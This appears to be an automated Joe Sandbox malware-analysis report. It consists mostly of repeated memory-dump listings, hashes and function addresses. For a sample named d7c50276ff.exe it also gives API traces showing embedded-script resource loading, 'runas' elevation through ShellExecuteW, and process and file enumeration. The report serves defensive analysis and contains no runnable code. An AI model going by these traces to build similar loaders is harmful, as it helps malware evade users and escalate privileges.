Associated: 00000009.00000002.2563890617.00000000010A9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563890617.00000000010E5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563951672.0000000001110000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563974584.0000000001112000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563994929.0000000001113000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563994929.000000000111B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2564037499.0000000001129000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2564057920.000000000112A000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e30000_aae25c676b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ae2d51fa04ca1b8553e54f74b35f68b0acc7a666018a8f9c022823c21ba09d5
Instruction ID: f953021f2ab6c16293ffca9a773b1a75a59cbaea3dfbc454232fa68e851b714c
Opcode Fuzzy Hash: 6ae2d51fa04ca1b8553e54f74b35f68b0acc7a666018a8f9c022823c21ba09d5
Instruction Fuzzy Hash: 8F119E7191C280EBC305AF28E841A1BBBF5EF86710F059828E4C8AB221D335D814DB93

Function 00E36EA0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2563036680.0000000000E31000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000009.00000002.2563010853.0000000000E30000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563078988.0000000000E90000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563103697.0000000000E9C000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563199325.0000000000FE4000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563221979.0000000000FE6000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563247524.0000000000FF8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563269760.0000000000FFB000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563291063.0000000000FFC000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563291063.0000000001003000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563339330.000000000100C000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563361591.000000000100E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563388057.000000000101F000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563409855.0000000001021000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563449040.0000000001038000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563481565.000000000104B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563508490.0000000001063000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563529259.0000000001064000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563550138.0000000001065000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563570698.0000000001068000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563592526.0000000001069000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563614049.0000000001070000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563636221.0000000001077000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563658183.000000000107A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563681751.0000000001088000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563703546.000000000108D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563725938.0000000001094000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563756905.0000000001096000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563784403.000000000109E000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563807632.00000000010A0000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563829792.00000000010A1000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563849673.00000000010A2000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563869762.00000000010A3000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563890617.00000000010A9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563890617.00000000010E5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563951672.0000000001110000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563974584.0000000001112000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563994929.0000000001113000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563994929.000000000111B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2564037499.0000000001129000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2564057920.000000000112A000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e30000_aae25c676b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cd58bb595ddce6689f9eeb67a69d667e6427052163981e9e7037b903e89e280
Instruction ID: de3908926afda7ee15bc48c589062b73d43bcd3851b87ae36c4694757efb9268
Opcode Fuzzy Hash: 4cd58bb595ddce6689f9eeb67a69d667e6427052163981e9e7037b903e89e280
Instruction Fuzzy Hash: A1F0243A71820A1FA610CDBBA88883BF796DBC9359F14A538EA44E3201DD72E8069190

Function 00E4B410 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2563036680.0000000000E31000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000009.00000002.2563010853.0000000000E30000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563078988.0000000000E90000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563103697.0000000000E9C000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563199325.0000000000FE4000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563221979.0000000000FE6000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563247524.0000000000FF8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563269760.0000000000FFB000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563291063.0000000000FFC000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563291063.0000000001003000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563339330.000000000100C000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563361591.000000000100E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563388057.000000000101F000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563409855.0000000001021000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563449040.0000000001038000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563481565.000000000104B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563508490.0000000001063000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563529259.0000000001064000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563550138.0000000001065000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563570698.0000000001068000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563592526.0000000001069000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563614049.0000000001070000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563636221.0000000001077000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563658183.000000000107A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563681751.0000000001088000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563703546.000000000108D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563725938.0000000001094000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563756905.0000000001096000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563784403.000000000109E000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563807632.00000000010A0000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563829792.00000000010A1000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563849673.00000000010A2000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563869762.00000000010A3000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563890617.00000000010A9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563890617.00000000010E5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563951672.0000000001110000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563974584.0000000001112000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563994929.0000000001113000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563994929.000000000111B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2564037499.0000000001129000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2564057920.000000000112A000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e30000_aae25c676b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 809ee23363f840c811a801533be2b64f834fb93f4c5a4ab9cc37b5a2fd812bb4
Instruction ID: 55671cc5733f49cec10079c69d7abd1537c51bc273a70d453298ca81932b8a37
Opcode Fuzzy Hash: 809ee23363f840c811a801533be2b64f834fb93f4c5a4ab9cc37b5a2fd812bb4
Instruction Fuzzy Hash: 19F0ECB160451057DF228A54BCC0F37BBDCCB87358F192426F94567503E261D845C3E5

Function 00E41ACD Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2563036680.0000000000E31000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000009.00000002.2563010853.0000000000E30000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563078988.0000000000E90000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563103697.0000000000E9C000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563199325.0000000000FE4000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563221979.0000000000FE6000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563247524.0000000000FF8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563269760.0000000000FFB000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563291063.0000000000FFC000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563291063.0000000001003000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563339330.000000000100C000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563361591.000000000100E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563388057.000000000101F000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563409855.0000000001021000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563449040.0000000001038000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563481565.000000000104B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563508490.0000000001063000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563529259.0000000001064000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563550138.0000000001065000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563570698.0000000001068000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563592526.0000000001069000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563614049.0000000001070000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563636221.0000000001077000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563658183.000000000107A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563681751.0000000001088000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563703546.000000000108D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563725938.0000000001094000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563756905.0000000001096000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563784403.000000000109E000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563807632.00000000010A0000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563829792.00000000010A1000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563849673.00000000010A2000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563869762.00000000010A3000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563890617.00000000010A9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563890617.00000000010E5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563951672.0000000001110000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563974584.0000000001112000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563994929.0000000001113000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563994929.000000000111B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2564037499.0000000001129000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2564057920.000000000112A000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e30000_aae25c676b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e487600c791fa9f8eee687ecc96cc2caa4914658acea4c5fc29138a986a956bf
Instruction ID: 08c6959377d7ba5701eb754cb7a81956b597591277f8130142013142a92fb87b
Opcode Fuzzy Hash: e487600c791fa9f8eee687ecc96cc2caa4914658acea4c5fc29138a986a956bf
Instruction Fuzzy Hash: 96C08C34A180018FC644CF02FC95432B3B8A70730CB00703ADA2BF3262EA20C84A9A09

Function 00E41A3C Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2563036680.0000000000E31000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000009.00000002.2563010853.0000000000E30000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563078988.0000000000E90000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563103697.0000000000E9C000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563199325.0000000000FE4000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563221979.0000000000FE6000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563247524.0000000000FF8000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563269760.0000000000FFB000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563291063.0000000000FFC000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563291063.0000000001003000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563339330.000000000100C000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563361591.000000000100E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563388057.000000000101F000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563409855.0000000001021000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563449040.0000000001038000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563481565.000000000104B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563508490.0000000001063000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563529259.0000000001064000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563550138.0000000001065000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563570698.0000000001068000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563592526.0000000001069000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563614049.0000000001070000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563636221.0000000001077000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563658183.000000000107A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563681751.0000000001088000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563703546.000000000108D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563725938.0000000001094000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563756905.0000000001096000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563784403.000000000109E000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563807632.00000000010A0000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563829792.00000000010A1000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563849673.00000000010A2000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563869762.00000000010A3000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563890617.00000000010A9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563890617.00000000010E5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563951672.0000000001110000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563974584.0000000001112000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563994929.0000000001113000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2563994929.000000000111B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2564037499.0000000001129000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.2564057920.000000000112A000.00000080.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e30000_aae25c676b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c43266dff5753657bf256293a910613f4fa81d137ab211a2074ea320f4c8e230
Instruction ID: a37528675f5d40e01e5965f65b01714d879690ca2a2f330af17c55f98209d066
Opcode Fuzzy Hash: c43266dff5753657bf256293a910613f4fa81d137ab211a2074ea320f4c8e230
Instruction Fuzzy Hash: 67C09B34A5D040CFC644CF87F8D1571A3FD570720CB10303AD717F7261D560D4499509

Analysis Process: d7c50276ff.exePID: 6488, Parent PID: 4544COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	1556
Total number of Limit Nodes:	54

Executed Functions

Function 00F642DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00F6430D

Part of subcall function 00F66B57: _wcslen.LIBCMT ref: 00F66B6A

GetCurrentProcess.KERNEL32(?,00FFCB64,00000000,?,?), ref: 00F64422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00F64429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00F64454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00F64466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00F64474
FreeLibrary.KERNEL32(00000000,?,?), ref: 00F6447B
GetSystemInfo.KERNEL32(?,?,?), ref: 00F644A0

Strings

|O, xrefs: 00FA36F8
kernel32.dll, xrefs: 00F6444F
GetNativeSystemInfo, xrefs: 00F64460

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: b761bf35ee98db07a4ec0675753b8f4041ea386d44e2e2e1db24e6a2d3be452c
Instruction ID: 332de3c6d5f1aa11d56fe545a309f65ad2954575eb0b7e85fb576585176e524b
Opcode Fuzzy Hash: b761bf35ee98db07a4ec0675753b8f4041ea386d44e2e2e1db24e6a2d3be452c
Instruction Fuzzy Hash: A2A1B672D0E2D4DFC731DB6974416E57FAC6F2E310B08D499E4C1A3B0AD63A5508EBA1

Function 00F642A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00F650AA,?,?,00000000,00000000), ref: 00F642B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00F650AA,?,?,00000000,00000000), ref: 00F642C9
LoadResource.KERNEL32(?,00000000,?,?,00F650AA,?,?,00000000,00000000,?,?,?,?,?,?,00F64F20), ref: 00FA35BE
SizeofResource.KERNEL32(?,00000000,?,?,00F650AA,?,?,00000000,00000000,?,?,?,?,?,?,00F64F20), ref: 00FA35D3
LockResource.KERNEL32(00F650AA,?,?,00F650AA,?,?,00000000,00000000,?,?,?,?,?,?,00F64F20,?), ref: 00FA35E6

Strings

SCRIPT, xrefs: 00F642BF

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 665f685010c6ba919704c752c7c24a0931753a70644f62b56cfedbf361182684
Instruction ID: d4796acb0907c78e797db9d0cf00926c01123685157068c33c9cd46c013fb5cb
Opcode Fuzzy Hash: 665f685010c6ba919704c752c7c24a0931753a70644f62b56cfedbf361182684
Instruction Fuzzy Hash: A8119A70600208AFD7219B65DD58F277BBDEFC5B51F204269F402962A0DB71E810E670

Function 00FA2BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00F62B6B

Part of subcall function 00F63A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,01031418,?,00F62E7F,?,?,?,00000000), ref: 00F63A78

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,01022224), ref: 00FA2C10
ShellExecuteW.SHELL32(00000000,?,?,01022224), ref: 00FA2C17

Strings

runas, xrefs: 00FA2C0B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: b28ac777b687a6419bedef7977d8538789a514a6c5b0204a5565c5130e8e439f
Instruction ID: 61350b2ea493af58fee556266b8ff6430a1242cede44402b4f749afc6a38bc5d
Opcode Fuzzy Hash: b28ac777b687a6419bedef7977d8538789a514a6c5b0204a5565c5130e8e439f
Instruction Fuzzy Hash: CA11D032608345AAC714FF64DD529BEB7A8EFDA350F44042DF182571A2CF398A49F762

Function 00FCD4DC Relevance: 6.1, APIs: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00FCD501
Process32FirstW.KERNEL32(00000000,?), ref: 00FCD50F
Process32NextW.KERNEL32(00000000,?), ref: 00FCD52F
CloseHandle.KERNELBASE(00000000), ref: 00FCD5DC

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: da3f6fcd9b2a67bcf703ca6ba9b68a32d90d66a04b9b10b4ff85ea96f4cd8a53
Instruction ID: d72097c11eaa3652dbbf8bca0686501072d062348d3d6ee222da0aaaadd4bb8b
Opcode Fuzzy Hash: da3f6fcd9b2a67bcf703ca6ba9b68a32d90d66a04b9b10b4ff85ea96f4cd8a53
Instruction Fuzzy Hash: AA3190710082059FD300EF64CD82EAFBBE8EF99354F14092DF581921A1EB719944EB92

Function 00FCDBBE Relevance: 6.0, APIs: 4, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,00FA5222), ref: 00FCDBCE
GetFileAttributesW.KERNELBASE(?), ref: 00FCDBDD
FindFirstFileW.KERNEL32(?,?), ref: 00FCDBEE
FindClose.KERNEL32(00000000), ref: 00FCDBFA

Memory Dump Source

